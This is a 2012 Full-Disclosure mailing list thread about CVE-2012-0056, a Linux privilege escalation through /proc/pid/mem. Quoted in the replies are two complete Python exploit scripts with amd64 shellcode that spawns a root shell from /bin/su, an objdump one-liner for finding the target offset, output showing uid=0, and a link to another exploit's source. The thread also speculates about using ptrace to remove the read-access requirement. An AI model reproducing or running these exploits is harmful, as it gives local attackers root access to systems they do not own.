Well done; that's a nice trick. Not really a fan of "spraying" like that (for irrational 'aesthetic' bullshitty reasons), but this is quite nice. Still though, you have the lseek offset in there, which is different for different executables.
I'm sure there's a way to determine this without read access though -- ptrace, for example, will make a suid binary loose its suidness, but you could then (I think?) inquire about memory locations and maps. Once you have the info you need, then you run su normally sans ptracing in the exploit. Not sure if this works or not. I think there are a few other similar things you can do when running suid code that will make it loose suidness, and also a variety of inspection techniques. On Mon, Jan 23, 2012 at 03:46, sd <[email protected]> wrote: > 2012/1/23 Jason A. Donenfeld <[email protected]>: >> NICE! Well, I guess posting that blog post defeated the point of not >> publishing. :-D > > Thanks for compliance with first full-disclosure famwhoring rule: > always post warez to make kids happy! :) > > On a related note, here goes my "private" version which relaxes the > rules regarding file permissions on /bin/su (ie not world readable). > This is to point out you can just overwrite 8kb of .text (default > stderr buffer, more is possible, but without mere nops) instead of > juggling with objdump. > > !/usr/bin/python > # CVE-2012-0056 amd64 > # [email protected] > # > # hg clone https://code.google.com/p/python-passfd > # cd python-passfd; ./setup.py build_ext --inplace; cd src > # mv ~/hurrdurr.py . > # ./hurrdurr.py > from socket import * > from passfd import * > from os import * > from socket import * > from sys import * > if argv[-1]=='hax': > sk=int(argv[1]) > fd=open("/proc/%d/mem"%getppid(),O_WRONLY) > lseek(fd,0x401000,0) > sendfd(sk,fd) > else: > a,b=socketpair() > if not fork(): > execl("/usr/bin/python","python", > __file__,str(a.fileno()),'hax') > dup2(recvfd(b)[0],2) > > execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); > > > >> >> So, here's my code: >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c >> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit >> versions from that same tree. >> >> Have fun. >> >> >> >> BTW, before I'm asked, the reason why I don't hard code 12 for the >> length of the su error string is that it's different on different >> distros. >> >> On Mon, Jan 23, 2012 at 02:14, sd <[email protected]> wrote: >>> 2012/1/23 Jason A. Donenfeld <[email protected]>: >>>> Server presently DoS'd, or dreamhost is tweaking again. >>> >>> boring tl;dr - don't play kaminsky on us :) >>> >>> #!/usr/bin/python >>> # CVE-2012-0056 amd64 >>> # [email protected] >>> # >>> # hg clone https://code.google.com/p/python-passfd >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src >>> # mv ~/hurrdurr.py . >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` >>> from socket import * >>> from passfd import * >>> from os import * >>> from socket import * >>> from sys import * >>> from time import * >>> if argv[-1]=='hax': >>> sk=int(argv[1]) >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY) >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0) >>> sendfd(sk,fd) >>> sleep(1) >>> else: >>> a,b=socketpair() >>> if not fork(): >>> execl("/usr/bin/python","python", >>> __file__,str(a.fileno()),argv[1],'hax') >>> dup2(recvfd(b)[0],2) >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ >>> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ >>> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); >>> >>> -- >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` >>> id >>> uid=0(root) gid=1000(sd) >>> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd) > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
